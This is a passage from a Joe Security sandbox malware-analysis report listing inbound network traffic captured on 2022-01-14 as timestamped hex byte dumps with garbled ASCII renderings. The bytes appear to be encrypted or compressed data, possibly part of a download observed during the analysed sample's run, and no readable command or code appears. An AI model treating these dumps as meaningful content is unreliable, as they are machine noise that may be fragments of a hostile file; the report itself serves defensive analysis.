47 24 b8 22 ab b0 b7 98 0c 77 8c 0e 83 53 7b a5 74 9f c1 89 ca d0 33 1b c6 3a 84 ee 56 90 c6 61 10 33 ae 5a 1f b6 8c 43 
96 f5 71 00 e7 75 3d 07 bb a6 d6 46 7a 72 a8 ef 
Data Ascii: {@}D@bjQ7S*45ZV\6,s~BVm7>D`$~'rk?H{[?4w?jk8w,yYYTz{;!*)"loH$);5eH*@J[T!]T6LrG$"wS{t3:Va3
ZCqu=Fzr

Timestamp
kBytes
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Copyright Joe Security LLC 2022 Page 92 of 119



2022-01-14 11:23:07 UTC 2342 IN Data Raw: 01 ed bf 2c c7 31 ac 60 ed 7e 0c 4a 1d a5 aa c6 94 d2 ee b7 bd 38 b7 51 6d 39 33 5e e4 91 33 6f ba cb 05 82 
98 5b 61 8e 43 25 a5 e5 a9 74 df f8 b7 ea c2 ee 6c ed a5 cc a3 3a da 18 d4 7a 1c f6 f0 ab d7 36 fb c4 79 4e b4 52 2c 73 
46 fb e7 c5 d1 1e 95 8a c2 a7 d7 d6 cc 54 d4 bb e7 18 b7 47 db 37 ed 41 b7 00 e0 bd 07 59 95 c4 c6 a0 fe 67 99 e8 a8 a8 
d9 a2 39 55 93 ff 13 46 2c 87 16 4c 73 24 c3 3e e6 4e 4b d9 57 29 fa 43 96 56 a5 56 72 e0 27 3b ae af f4 91 8f d2 24 9e 
60 7e fc 28 61 e0 26 cb 99 3f d1 c5 fb 7c 70 d5 bb 44 e9 e3 6a 79 76 bd df 5a 39 29 a5 7c 04 cd 45 cc d1 f4 73 b3 58 b5 
60 b5 1d d0 56 d2 2d ea cb b3 d3 be b9 50 ec fb a3 3b cc cf 7e b7 25 f6 35 ef cf 74 9e e7 af 80 95 b1 c9 cb 99 83 45 98 fa 
89 78 23 1b c8 9f c8 13 0f 1f 23 66 da cc df 29 d2 43 
Data Ascii: ,1`~J8Qm93^3o[aC%tl:z6yNR,sFTG7AYg9UF,Ls$>NKW)CVVr';$`~(a&?|pDjyvZ9)|EsX`V-P;~%5tEx##f)C

2022-01-14 11:23:07 UTC 2358 IN Data Raw: d3 a6 fc 65 08 7e 23 d6 3a 87 b8 b3 0d 07 ed 0d 70 03 bf 51 ec fa ac 47 b1 13 28 18 1f ed 75 d7 6d 10 3b 14 
66 06 0c 06 57 0b 28 63 d3 33 80 e7 ba 46 18 be 19 05 c6 ff 49 31 cf e3 34 db d2 08 a2 3e 41 20 ff 21 2b 67 f7 e5 68 6a 
a6 16 a4 4b c9 02 f1 aa e5 aa 19 2a 63 d6 80 83 47 d3 87 39 e1 b3 13 b7 d1 51 fb 80 78 6a 63 19 f1 a6 12 75 34 b0 1d 84 
62 fb 21 c2 e3 e6 1f 67 60 8f 79 ad ed 90 b0 e7 1c dc 25 55 88 08 04 24 03 73 e4 2a 00 a9 a6 3d 4a d9 aa 20 8f 5e 9f d0 
3a f9 a7 5b d3 02 f2 20 d5 1c e4 28 12 4e 87 9d a2 c6 b8 39 96 30 1c f2 1f 9b d3 6c 6d a0 78 45 d1 44 72 46 54 52 5b 89 
65 95 12 f2 b7 77 36 b1 88 b9 b1 f3 cd 2b 24 5a 1a 4f ac 46 cc 07 b5 aa 45 d1 c4 c5 40 42 04 14 d2 00 c4 f6 45 1e 46 35 
17 11 e1 1b 0e f1 d0 db 32 13 78 b4 e9 fa 11 be 09 9c db 
Data Ascii: e~#:pQG(um;fW(c3FI14>A !+ghjK*cG9Qxjcu4b!g`y%U$s*=J ^:[ (N90lmxEDrFTR[ew6+$ZOFE@BEF52x

2022-01-14 11:23:07 UTC 2374 IN Data Raw: a4 d6 b2 bc 18 79 b4 07 40 a6 86 08 87 b9 02 02 53 96 39 b1 22 78 fa 7e 7f 12 28 1f 0d 90 2e 8f 25 4e 5b bb 5f 
7d 9a 18 e5 87 2a 4b 05 52 6a 45 9d 8c 76 92 24 52 c2 2d 42 c4 2c 7b 5d 83 23 69 2b 07 b0 7a 83 19 e6 74 e9 14 10 58 
e2 1e 5e 00 e8 60 14 b1 2e 44 bb de 8a 88 6d bd 54 f1 cc b9 8e cb 2d 10 08 2d 2d 2b 50 f0 00 80 ed 8f 8d d0 a1 50 a0 0e 
bd 69 e5 0d 41 1d 8d 21 5e 75 35 96 44 5c 32 cc 35 3b 41 da f7 3f 8d 79 5b 1f 76 7a e9 1a e3 5f 16 93 4c 6a 05 d2 d4 8c 
dd 8d d4 04 f2 4e aa 49 ad c5 79 8f 8f 5d 6d 59 3e fe 8b a8 a5 af 5a 7a 21 5c 81 7c 45 15 39 35 b9 0b fa 2e 45 37 73 de 
6d 6b 03 24 9a 90 2f 0e 1b ef ad c7 cd 7b 98 2c aa 2d f4 01 2a e4 f1 bd 29 ed da 86 07 8a 02 e2 94 17 74 c0 aa b7 6a 6b 
3e b2 25 26 7f fb 08 c6 bc b2 f8 36 68 80 3e 30 c4 8e f6 
Data Ascii: y@S9"x~(.%N[_}*KRjEv$R-B,{]#i+ztX^`.DmT---+PPiA!^u5D\25;A?y[vz_LjNIy]mY>Zz!\|E95.E7smk$/{,-*)tjk>%
&6h>0

2022-01-14 11:23:07 UTC 2390 IN Data Raw: 86 16 71 84 02 bb c3 21 10 d6 d0 f2 61 58 c1 85 ab ed 9c fb e0 ce bb 5c 2a 18 96 8b 2b bc 31 fd 0b 22 9d 9d 4f
60 58 fe 23 7b 6a 5c 23 dc 92 b8 05 a9 37 cc ff 4a 2f 30 0a aa 35 f5 91 00 ab 2f ac 6a 1e e7 3d ec c2 79 4a 70 87 e5 38 
82 17 49 92 60 d8 e5 8e d1 bf f8 05 14 24 a6 9a df a7 ae cc 2b db 95 82 95 92 f6 f9 d9 88 25 6d 6c 3e 39 92 1c 4e da b6 
4d 2c bb 2e 1b bf f9 59 17 e7 e0 e8 08 ee f9 3a 5d fe 4f b8 f8 ed 6a 86 c7 6d 4f 16 75 dd 58 0a 97 c6 1b 94 b2 02 30 a1 bc 
7c 51 0c be b4 8e ed 4a 41 6a d6 1d 22 1e 29 c8 3e 95 c0 d3 0f 1f 56 69 55 5e 42 9e 21 27 15 83 37 31 74 95 79 a0 0d ff 
29 56 08 09 ff 49 e1 7a 01 48 fe 36 03 a5 07 e0 1e 07 da 99 a8 15 c6 36 fe 66 3c 31 37 d1 27 27 dd 61 d1 ae bc d5 80 69 
05 91 85 d5 75 57 35 15 75 0a a9 23 21 16 29 59 11 
Data Ascii: q!aX\*+1"O`X#{j\#7J/05/j=yJp8I`$+%ml>9NM,.Y:]OjmOuX0|QJAj")>ViU^B!'71ty)VIzH66f<17''aiuW5u#!)Y

2022-01-14 11:23:07 UTC 2406 IN Data Raw: 35 43 68 2c 7b 36 bc 56 e3 b6 dc 49 21 59 cb b9 cd 09 f8 d3 5f 45 25 73 ac e3 18 92 80 91 83 e9 e6 aa ba c4 
a0 47 d5 73 ae c2 a6 d2 12 2d 2c 85 ea 6a f0 eb e6 31 87 c6 67 d4 20 15 35 9c ac 54 c0 ad 8d 08 e0 a9 24 a7 85 19 11 af 
0c 26 ef 86 55 06 cc 42 88 b9 70 ea 7b 59 eb 5f 6b 57 f4 60 a9 ab 28 6b 57 33 9d 53 a0 2d 5a 69 21 0a 52 bc c1 6e 70 e9 
4f 0e ba cd e2 2a ff 8b 0e 04 ab e4 d6 85 a7 b2 f6 7a 17 ef 03 8a fb 80 43 00 df 27 f0 ba ea 34 e4 67 e2 b2 c5 75 fa e8 f3 
50 c8 41 e0 80 a4 10 6e 19 6a 22 a6 fb c6 ea c3 5a 43 23 f6 90 2f 26 90 4e bf 99 5e 93 22 e2 d0 63 ef f1 05 fa e6 17 6c 4a 
cb 62 3c d8 66 ae 25 7b cd 59 5d 64 d6 a7 43 9d 20 3e 12 20 90 fd bb 6d 15 0b 1d 87 93 b4 b2 fa 21 9c 0e 94 f8 5b 14 63 
4d 3c 2e 4e ff 96 fe bc 64 5c 50 ff f5 3f db 3f a5 
Data Ascii: 5Ch,{6VI!Y_E%sGs-,j1g 5T$&UBp{Y_kW`(kW3S-Zi!RnpO*zC'4guPAnj"ZC#/&N^"clJb<f%{Y]dC > m![cM
<.Nd\P??

2022-01-14 11:23:07 UTC 2422 IN Data Raw: 93 73 3b 01 0f 84 24 5d 4a 07 fb a3 a0 a6 8b 20 f9 73 94 4d c1 41 d0 90 50 4f 98 d0 49 d7 1e a2 1d 14 12 70 
e4 b2 f2 59 f4 fd 8c 03 a9 c6 6e fd a0 7f e2 22 1c de 45 6c af a6 da 12 c2 0c 69 30 4d 57 f0 72 cf b7 e3 6c c6 8b e0 76 5d 
8d a3 69 da af f8 46 cd c0 31 bd 86 42 12 99 5a 86 b5 10 36 0b b1 6f 36 bd 84 12 f3 4a 17 66 67 a7 c5 20 2d 96 61 61 a1 
30 e5 2d a0 8a 49 d8 59 2d 42 a2 27 86 21 de 38 34 36 c7 9d ca a5 02 91 77 77 c9 a2 6e 2a e3 9b 8b b7 50 c0 db 03 da 
5c 53 b5 0f 06 69 19 2a 0a c1 e1 0a 79 0c 3f 63 e2 87 c1 88 97 29 dc db c2 c6 9b 28 19 8c c0 1d c7 60 ac 49 1e a5 2b c8 
a5 a2 dd d9 9e 0d 75 b8 53 9c 02 f6 ea d6 3d 7f 4e cd 9b 3f f1 8c ec 01 2a db 2d 8d 6b 05 16 4b 22 a1 81 97 18 2a 02 af 
25 22 67 4e c3 29 e0 57 a5 43 02 2c 4f 99 9c 17 b4 0b ec 
Data Ascii: s;$]J sMAPOIpYn"Eli0MWrlv]iF1BZ6o6Jfg -aa0-IY-B'!846wwn*P\Si*y?c)(`I+uS=N?*-kK"*%"gN)WC,O

2022-01-14 11:23:07 UTC 2438 IN Data Raw: 9d 23 58 af 52 08 63 74 b5 f1 c9 6d eb 1b 73 d4 16 6f d7 48 d9 ce 24 7f 0e 54 34 66 f8 45 5a 1b 2b 15 7c 60 b4 
22 bb 10 e8 f3 16 eb 33 d8 d4 5e 13 8b 5a 88 ac 2c 76 56 50 1b 82 f9 50 91 f9 4c 94 17 44 97 f5 80 82 e2 df 70 e4 3c 62 
34 f7 92 ef 20 cf e9 52 07 f3 b6 29 e6 29 83 5e 23 db c4 ab 83 89 c4 00 6e 1a 20 d2 81 fe 2f 93 7f 65 a6 b7 6a 63 1d 86 e0 
a9 c6 8b e3 9b 27 ba 89 e3 f5 56 4f 94 40 1f 2e 38 d9 96 99 20 39 00 7b 49 71 51 09 63 ea 65 c0 c1 66 a9 12 a3 55 09 e7 
db e0 13 44 e9 89 f7 99 ab 90 a1 b5 1d cc 59 b4 39 91 1b 96 3e d2 e5 80 2c d5 94 84 24 f4 aa e2 58 ad 1e 0e 04 4c a7 be 
0b b9 f7 f0 b2 43 52 c6 b7 a0 e4 0a f8 79 08 ef 0f 97 04 69 8f 71 a9 fa a7 21 d2 f2 d0 be c4 3d ee 6a 9f 0b 44 06 f0 6f 57 ff 
1b 35 4b ba 85 1a 85 3b 98 fc 11 66 ce 5b 76 
Data Ascii: #XRctmsoH$T4fEZ+|`"3^Z,vVPPLDp<b4 R))^#n /ejc'VO@.8 9{IqQcefUDY9>,$XLCRyiq!=jDoW5K;f[v

2022-01-14 11:23:07 UTC 2454 IN Data Raw: 9b 35 9f 39 85 a2 82 0a 80 c6 6f de f0 54 6d 3e 26 b8 85 f2 e1 29 9d b4 d3 ac 09 e1 db 6a 0d 2c 9b f8 42 2b 0d 
1c 24 fe e9 4f 91 c3 be 12 69 33 de 66 97 79 e4 31 5d 32 53 77 0a 27 55 19 a1 0c 5c 85 4e 5d c9 36 e8 51 99 08 db 94 e5 
69 cb f1 4e ca 01 6a a7 84 16 50 61 5a 85 dc 96 e6 8a 5d 96 59 32 15 ce 1a b9 bd 95 62 4c f8 6f 1a 86 06 b6 2d 66 2a 52 
48 58 56 d7 cd 88 1e 96 f1 34 70 93 83 27 63 5c f7 ba 93 4e 91 61 8b 2d 56 b9 0b 8f 86 3b 4c 6b de 1a db 0b 2b bb 9b 76 
31 bf f0 83 64 d2 74 9f cb e9 75 43 17 a1 32 47 90 7a 51 51 52 a2 48 ff d9 ec ce 96 48 ff c3 e6 16 68 a6 c5 6a 28 2a 38 ff 
39 d6 2e c5 6b b9 7c f7 f5 34 5d b3 12 41 81 cc 6d f0 6d bd ac 60 4b a8 9c 7e c4 ba 59 1d 95 0b d2 bb 05 1c 1a d4 fb 40 
a4 21 17 0e 18 0e 6a 2d 36 26 f4 39 da 2c bc 05 f6 
Data Ascii: 59oTm>&)j,B+$Oi3fy1]2Sw'U\N]6QiNjPaZ]Y2bLo-f*RHXV4p'c\Na-V;Lk+v1dtuC2GzQQRHHhj(*89.k|4]A
mm`K~Y@!j-6&9,

2022-01-14 11:23:07 UTC 2470 IN Data Raw: 7a d8 44 a4 ec 0b e2 2c b9 7b e4 70 3f 8e 60 12 df 2a 11 18 48 89 6d ff 72 52 a2 6f 8c 9a 28 d1 b1 da a0 4c d4 
87 dd 8f 0a a9 56 0b 49 f7 9f eb 52 6b 4e 05 61 60 4a 3e ce ef 61 c3 72 3d 95 7c 2d 6e 1d 39 27 89 a4 0b e6 b0 79 4c f2 
69 5c 41 b4 0c 95 ed 70 73 ab bc c7 f8 be 0e 5c 06 73 c8 49 d4 fa b5 27 23 e0 d7 2a a5 6d 4e 3a 4b e1 da 3a 0d 45 96 ee 
d0 87 f6 bc e7 42 e1 9f 8f dc 36 db 1c bb f3 f1 84 d3 c7 ea df db 53 82 2c 39 c5 64 92 00 61 ea 19 ab 64 b5 98 60 3e 64 c1 
4b d2 c9 25 2b 98 5a 7f 70 66 a9 33 4f df d8 e9 4e 58 17 96 56 97 50 4c b2 a4 0f fa 53 8b 7b f8 a0 6f 9f 1c fc 65 e9 e7 74 
80 5e 8f 96 43 f8 57 13 c2 6a 89 9c f1 90 f1 6d c9 a2 34 7f e8 da aa f9 08 ef bd ee 69 2f f8 4e f3 1d a9 61 e6 2a 57 c4 ba 
1d 58 76 cf 1d 25 6f 7f 89 80 12 92 ce cc 9d 
Data Ascii: zD,{p?`*HmrRo(LVIRkNa`J>ar=|-n9'yLi\Aps\sI'#*mN:K:EB6S,9dad`>dK%+Zpf3ONXVPLS{oet^CWjm4i/
Na*WXv%o

2022-01-14 11:23:07 UTC 2486 IN Data Raw: 92 db 98 bf 72 4b c2 c5 d5 b4 0f 8d b3 27 ba db 03 8d b3 4d 84 ec b9 0b a1 58 f4 b5 19 a5 ed ee 3f 69 8d 01 
6b 64 17 c1 0b a7 b9 ed ac 56 9c 5d ab c5 26 48 98 c7 36 bf ee a5 8e 75 21 e7 7e a4 73 df 39 9f 6f b0 bd de f5 8d 35 2a 
84 c2 cf 2f 1d 5c f7 13 30 b0 03 94 90 e1 4f 45 e9 7d 5d bd 46 31 d7 fb 7a 3d 0f 00 d4 d1 98 45 5f f3 e9 1c 54 d0 31 44 b9 
45 94 46 b8 fc 91 ca 9b d7 8f 2f e4 0a 6d 53 88 db c1 f5 1b 1b 0a c0 b2 1c f8 7e a7 82 9e 11 7f 38 8a 8a bd 70 cd d5 73 6e 
db af 07 de b2 27 04 56 22 d5 72 ad 63 4b a5 1c 7e 33 4b 7e 40 97 1b 1b ec c4 95 2b f9 03 e3 84 63 aa 73 b7 d7 55 e4 5b 
fc 3c 55 e6 8d 9a 35 c1 98 d2 07 5a ca 93 18 ba 42 45 7c 2c ce 7c ca 4e 97 36 60 22 0e a2 90 18 cc ea ca 9d 60 3b 6b f7 
38 1d 18 0f b9 50 ba 5a a3 62 03 04 10 80 68 8a ef 
Data Ascii: rK'MX?ikdV]&H6u!~s9o5*/\0OE}]F1z=E_T1DEF/mS~8psn'V"rcK~3K~@+csU[<U5ZBE|,|N6`"`;k8PZbh

Timestamp
kBytes
transferred Direction Data
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2022-01-14 11:23:07 UTC 2502 IN Data Raw: 85 49 f2 c4 31 32 18 72 90 e8 5e f0 25 a1 4b 78 25 12 63 3b 86 41 31 d5 f9 bf 59 c3 c6 66 be 0f ea 64 8d d5 e2 
36 71 b3 d2 16 bd be 0e 81 db 1c 81 16 37 53 e3 5e 87 23 eb 1b 40 6f fc a9 ff a1 b2 24 cb 6d a5 b4 a0 9e ac 5f f7 21 f0 18 
a1 0e 43 dd 39 f5 ac ce b8 1f 17 67 7f 14 43 90 47 22 57 5b 5f 1c ec b6 2e e7 90 50 e9 2c 3d b5 89 0a 8b c5 3c 33 71 c0 
a9 2a b0 3b 1a d7 12 3a 70 b0 73 ec 75 02 04 ed ad f0 07 01 ae 13 bc 8e 6f 62 e5 c9 52 c3 31 73 5a 76 29 1e 4d a4 f8 3a 
70 d9 11 65 57 44 2f a6 11 ab c5 d5 16 af 0b b0 36 fa ed f8 9d 6e 3a b7 83 66 9b 5d 7e 3f 5c 24 1c a2 18 89 12 f3 c4 c6 99 
6c fe a7 79 00 cb 86 b8 18 eb fd 7d 29 fa a3 42 1e 94 3d e1 10 0c 35 5b 5c ca 9f 63 22 ff b4 0e 26 de d9 bb 94 dd 2f b0 43 
d6 82 31 2c c1 0c a0 91 26 e5 2a 67 b4 c5 27 
Data Ascii: I12r^%Kx%c;A1Yfd6q7S^#@o$m_!C9gCG"W[_.P,=<3q*;:psuobR1sZv)M:peWD/6n:f]~?\$ly})B=5[\c"&/C1,&*g'

2022-01-14 11:23:07 UTC 2518 IN Data Raw: 9e 97 73 17 ad a7 3b 95 9b 2a bd 75 5f b6 96 58 dc e8 8a 34 6e 41 bc b1 7d e6 31 ff dc 61 5f e6 b0 9d c2 90 cb
c8 b0 d0 77 63 bf d2 58 00 22 03 8b f8 b8 36 d1 d1 08 cf 1c 88 28 e7 6a d3 3b 3f 9c 2d d3 b2 e9 a9 12 8a 72 21 2d 94 2e 
6e 14 15 59 5f e8 98 9a 78 85 25 4b d0 62 ab 45 97 56 ad f3 19 ec 2a 7f c7 ed e9 5e 80 eb de 85 a8 5d 20 e1 45 be 9c b2 
ec 95 97 a4 c4 50 dd 2a 2f 91 68 a4 6d cd 93 3f 72 22 77 50 70 2e aa 7b 11 5f 76 fb 04 14 a2 05 9e be ca 18 fc 9b cb de 
89 ea 1a fa 1b d3 cb 03 e5 ef 2e e8 af 2d 38 9b 93 56 8d 32 44 c9 7a 97 46 2b 1d e3 44 54 31 87 74 af 79 2d c0 c3 23 1c 
70 5b f1 a2 06 e6 b8 a1 97 4d 0c f4 e0 39 c7 c9 d0 a7 76 9a c4 7c 6f db 4a 65 d6 69 f1 e7 e7 09 ee 9d 6b e1 12 14 2c 34 
4d 06 d7 82 90 de c8 46 50 2f 7c 76 14 98 bb 2a bd 41 
Data Ascii: s;*u_X4nA}1a_wcX"6(j;?-r!-.nY_x%KbEV*^] EP*/hm?r"wPp.{_v.-8V2DzF+DT1ty-#p[M9v|oJeik,4MFP/|v*A

2022-01-14 11:23:07 UTC 2534 IN Data Raw: 3a dd ab 66 e6 81 f7 ff e2 1e 80 b3 18 8a 54 06 fe a6 ce 8d 42 ac 70 a0 7c 7b 79 fd 95 17 e5 92 3a 23 4c 82 66 
46 38 93 00 61 22 02 9a f6 61 55 82 55 7e c9 8d 6b a4 a4 6a 39 cb 60 db 9e bb 09 ec 88 83 a7 2d b5 c8 59 cd a0 f4 a2 44 
94 be ab 04 14 3f cf 4c e5 fd 85 65 ce 50 81 1d f4 85 e7 1f 1c 5c d3 8c 7e 97 18 13 7e a2 a2 f2 1e fd 10 5d 70 f7 bb 56 13 
f6 78 89 91 1f 68 e5 40 6b 0b 6b 40 99 ae a3 bc 75 57 94 75 5a de 54 bd a5 0b 2e 15 a9 cc b6 d1 4e a1 42 0f 8d 40 84 22 
88 00 d0 63 b3 1c 10 f4 f8 cf 6c 69 b2 84 4e e0 a2 1f 0b f3 f1 b9 5d 5c b1 10 35 44 fc 23 06 f7 96 8e 37 6d 7c 19 cb af f0 
e2 0b 1c 44 c3 93 d9 eb 0a eb df 76 f0 3f f1 25 8d c7 f1 2f c2 87 0e d8 89 a8 24 bf de ec 03 48 be 04 96 8a 07 63 3e 7d 88 
3d bf b8 c0 e2 13 0a c3 bd 13 d0 20 92 80 b7 
Data Ascii: :fTBp|{y:#LfF8a"aUU~kj9`-YD?LeP\~~]pVxh@kk@uWuZT.NB@"cliN]\5D#7m|Dv?%/$Hc>}= 

2022-01-14 11:23:07 UTC 2550 IN Data Raw: ac 39 69 cd b9 bd ab d4 56 a9 23 6c f1 84 08 43 b1 36 02 28 79 f8 a2 1b a0 43 2f 40 46 62 55 1b 9b 89 50 b5 
da 9f 83 db bb f6 14 f3 5e 18 32 f3 c4 dc 0e b8 6c 77 c4 81 50 55 bd 4f cf 7e fc dd 16 ee 2c 86 71 8a 0b ce 5e 0a e7 bb fd 
48 44 5d 6c a3 58 2c 2e f0 66 50 15 b9 46 4c 1f 4e e0 f9 9b a2 82 02 fd 3e a7 ab b2 96 c1 08 b3 dd 60 f4 52 83 01 4c 23 
63 41 d8 aa 3b f4 14 1f d3 62 77 5d e8 ab c2 1a 09 1c 6f 97 76 d7 b0 44 80 98 33 da 47 f1 0d 95 6a 0a 19 28 61 52 c8 06 
e5 48 73 ce 12 6b e5 22 cb 2a c1 83 c4 44 f7 84 96 fc f9 3f 66 29 ee 4e 30 61 02 74 8d f8 4c cc b4 70 17 82 aa 96 bb 13 f1 
2f 7e 24 18 23 7b 10 09 f2 23 97 09 84 8a 0d dd 9a 9c 95 79 64 1f 38 13 40 ed 5e b5 e6 df 27 84 35 3f 06 38 5a 31 81 69 
6e c9 3d 45 dc 4e 5d b4 44 8f bb 4c f9 01 f2 32 6d 
Data Ascii: 9iV#lC6(yC/@FbUP^2lwPUO~,q^HD]lX,.fPFLN>`RL#cA;bw]ovD3Gj(aRHsk"*D?f)N0atLp/~$#{#yd8@^'5?
8Z1in=EN]DL2m

2022-01-14 11:23:07 UTC 2566 IN Data Raw: a7 85 91 11 ec 03 1c 66 0a c9 d3 39 ba 8b f2 73 ea 56 7d 6b 7f ae f9 03 3a 32 c0 65 19 ca 48 7d 4d 8c 2a ba 
79 b2 b0 d4 c7 6e 34 06 df f3 08 9b 9f 94 53 9a ca 84 33 1d cb e0 a0 1c 8d 5e fe 42 b8 2f 92 03 40 0e 36 f7 66 ae 17 a2 ea
d0 5c e9 43 dc d4 2e 1f 8f 5e 29 a4 34 45 9b 5d ad aa 20 26 57 2e 5f cb 99 63 b4 72 19 ec 57 ab 85 44 23 84 6a 78 31 ae 
89 ee 5c 0f 24 0d 6b 54 83 f3 e0 16 20 cf fd 6c e2 f6 7d 26 9c fe 5a 5c 9f b5 0b a0 64 e6 3f d0 86 69 9f bf 88 a7 4b 73 98 
be f5 a2 68 7c 0b 5c 95 c3 83 08 8e e6 ae 9a fc 85 f2 de 33 f0 35 3d 55 37 9c 46 d4 b7 6b 00 07 b9 e1 c0 d6 ec cb 78 d2 
1b 16 ce 03 55 63 86 cd 34 99 28 f4 70 2a 0f 8d 30 62 0e 2d 7b a1 c0 17 6f 57 3b 14 f8 c4 07 f4 9b 66 7c a0 e0 0c cc 6e 
3a 88 0d 6b e9 db 94 38 fc b0 ad ab ba 5c 48 dd cb 
Data Ascii: f9sV}k:2eH}M*yn4S3^B/@6f\C.^)4E] &W._crWD#jx1\$kT l}&Z\d?iKsh|\35=U7FkxUc4(p*0b-{oW;f|n:k8\H

2022-01-14 11:23:07 UTC 2582 IN Data Raw: 3a 67 28 4e 22 9d c3 db 9d fc bd c3 3c 81 7a fe 6a 47 d5 bc b5 46 29 c7 0a bc b4 d2 e4 d5 06 54 77 7a 08 38 
c0 88 4d 07 1f 83 bf 5e d6 d6 ae c5 04 37 af 0d 81 42 6b ef 98 99 b8 8e 94 ce d8 a7 b2 61 f7 b7 9c 9f 73 19 68 41 f3 1a da 
c7 0a 02 f8 2e 02 48 4f 0b 27 13 ec 9f 85 81 3a ec 37 18 f9 43 b6 7e c8 78 f1 ea c7 85 d6 b5 57 72 80 c6 22 e0 47 a8 5c 
c8 c7 1b 8a 8b f3 71 ec 8b 59 0e df 56 7c 5d dd c2 e8 2f e7 e4 61 68 de c0 a1 aa 1d 78 28 7d 7b 68 0b 66 7d 7f 77 45 94 
5b d0 ab de 44 4d 3c 77 cc de fe 82 6f 86 78 9d a4 5f ab 1c 19 fa b5 88 c6 95 77 05 ba 38 20 e0 76 35 7b ce 18 7e 49 60 
ed 32 85 90 5f 72 e6 50 73 8f d8 9b 9e 6d 0c 9d e6 72 30 27 c6 6d c5 d6 0e 97 80 3f 4a 1d e5 5b b9 17 17 df e7 5e 4c 80 
a8 fc f2 e6 62 99 9d 6e 3c 70 d7 5b d2 b0 d7 8c b9 26 
Data Ascii: :g(N"<zjGF)Twz8M^7BkashA.HO':7C~xWr"G\qYV|]/ahx(}{hf}wE[DM<wox_w8 v5{~I`2_rPsmr0'm?J[^Lbn<p[&

2022-01-14 11:23:07 UTC 2598 IN Data Raw: 06 39 85 21 59 86 9e a3 15 3d 25 33 b6 56 49 e1 47 35 cd 92 e3 15 ac 40 be 81 c4 f3 2a 9a c9 09 aa de e1 74 
a8 c0 2f bd fe a7 62 50 5d e3 7a d5 bd 90 e2 8d 6f b2 1b 51 75 ee cb a5 6e bc c5 87 88 f3 79 9d 43 fd 1d 80 80 fd 5d ef b7 
70 f3 e4 f0 cb af 8e 85 19 7c d8 56 56 34 52 10 1f 5e 68 3b 35 86 65 94 55 53 d7 ea 8c 85 b4 eb 89 be 83 c1 c8 d2 e5 e2 
af 48 7a 91 47 52 92 8e 54 bd a1 ee 33 1b eb 3b 31 cc 66 e3 f1 91 8e 72 0b 7f bb 48 55 2e 2d 1e ef 7f 63 43 1b 13 23 32 
47 f7 c6 31 d3 6b 69 a8 6b b4 27 16 ba d8 d0 a0 81 7d 0e 89 a2 b8 7a 5a 6d 92 c5 2b 2e f1 4d ef fb f4 4f 8d 87 10 eb 5b 
39 c0 a8 b9 bb 2b 07 16 19 2a de 45 db f8 ca a4 e3 5f 25 ac 5e 3d b1 18 25 6a 6c e3 c9 a0 6a 42 ab f8 59 f5 70 fa 5d 4b 
fa 67 15 b1 cb ba c2 a4 5f 91 3e da 08 30 3a 4c 62 f8 
Data Ascii: 9!Y=%3VIG5@*t/bP]zoQunyC]p|VV4R^h;5eUSHzGRT3;1frHU.-cC#2G1kik'}zZm+.MO[9+*E_%^=%jljBYp]K
g_>0:Lb

2022-01-14 11:23:07 UTC 2614 IN Data Raw: 43 93 b8 d8 9d f6 f6 a3 06 03 28 17 37 f7 01 42 c5 20 54 05 7a aa b8 89 d8 7b e5 4d 61 2d f5 85 38 b6 16 a2 
73 f8 ca b7 9e ec ba ec 41 74 26 e1 57 b5 3f 1a c3 05 03 a4 c1 a3 3f df 48 b7 e1 70 d8 b2 48 26 cc 86 8e 85 99 16 d6 c7 
4c fc b7 23 ab 5d 1f 79 29 ea d3 bc e7 e1 e9 fb c8 c4 73 f0 33 81 d1 eb 93 b3 9c 16 7b 4b 8f 1b d5 0e 1c 58 20 b5 1f 27 90
cd ff 89 5b 96 43 c3 10 ec a0 64 c4 05 b0 94 30 74 50 69 85 f9 1a 27 06 58 b4 76 74 02 c9 0b 99 67 52 97 e6 07 60 e8 83 
50 c2 04 35 f0 b1 ea f3 87 34 0e 2b ff 82 7c 7e 8c 9e 31 dd a0 8d e4 e6 35 1f 0e 3b c6 bc 8c 60 a1 62 1a fa 49 4f 64 b9 af 
52 72 3a e3 a3 62 ae 71 8f f5 49 19 f9 cd 52 aa e4 06 a1 9b 41 65 9c 93 cf 5b a7 b5 b1 01 ca 21 ff 6f f8 8e 23 a3 83 e0 89 
0a df b8 d6 a0 66 1e 8a 12 23 4d 37 60 96 03 1a 
Data Ascii: C(7B Tz{Ma-8sAt&W??HpH&L#]y)s3{KX '[Cd0tPi'XvtgR`P54+|~15;`bIOdRr:bqIRAe[!o#f#M7`

2022-01-14 11:23:07 UTC 2630 IN Data Raw: b5 fa 91 8c 90 22 68 42 8c 74 10 74 e2 81 67 66 4e 2b 27 aa 68 32 e9 47 7a c7 8a 99 4d 4f 32 35 64 9b a0 11 
d7 9a 7f cb 8c fc ca 32 f0 b0 34 a1 30 fb 39 16 e3 c8 7c 9c e2 c2 30 6e 65 7e 3d 29 12 68 b6 59 4e 21 4f ad 24 2d ac ea bf 
89 13 71 ae d1 7b 18 71 43 05 55 8d 79 eb 6b a2 28 97 d5 16 14 26 27 38 3f 6b a2 00 19 82 7f 0f 7b fc e0 3b b5 c1 52 54 
18 ec 63 a5 75 78 5f 6f 38 b3 32 1f ce ba ab df 45 40 fa a7 2a dc 0e 9b 12 22 d2 fd f5 3a f1 15 32 84 d8 5a 54 fe 48 1f 30 
56 a0 24 1d a8 f8 78 ad ae c0 2a 5d aa 21 bf d3 9a c6 c4 8b 9c aa f2 09 15 60 cf a9 10 f9 8a d4 e5 b0 27 32 34 b7 2e 00 
dc 55 fa 7e 18 d2 b7 79 af 75 fa b9 ad 59 3e 29 07 42 6c 60 e4 d4 c9 8f f3 42 1d ea c0 fd 70 25 6a 19 fa 4a fe 93 87 4b 82 
e3 04 a6 5c f1 4d 1f d4 12 9c fd f4 76 4f 0a bb 
Data Ascii: "hBttgfN+'h2GzMO25d2409|0ne~=)hYN!O$-q{qCUyk(&'8?k{;RTcux_o82E@*":2ZTH0V$x*]!`'24.U~yuY>
)Bl`Bp%jJK\MvO

2022-01-14 11:23:07 UTC 2646 IN Data Raw: e6 f2 80 65 75 02 e9 8c 9a 8e b1 1c 45 54 bd 16 8f 22 8f 23 28 13 ca c6 fe 6d 16 4b d9 6b df cd f0 b8 2f 47 23 
8a bf ea d7 65 9c 9a 3f eb 10 de 01 d0 96 82 a7 e8 7c c8 cf e8 ab ac f0 b2 f6 f5 d5 8b f6 9b 41 f9 79 df 19 90 75 e1 3f 88 
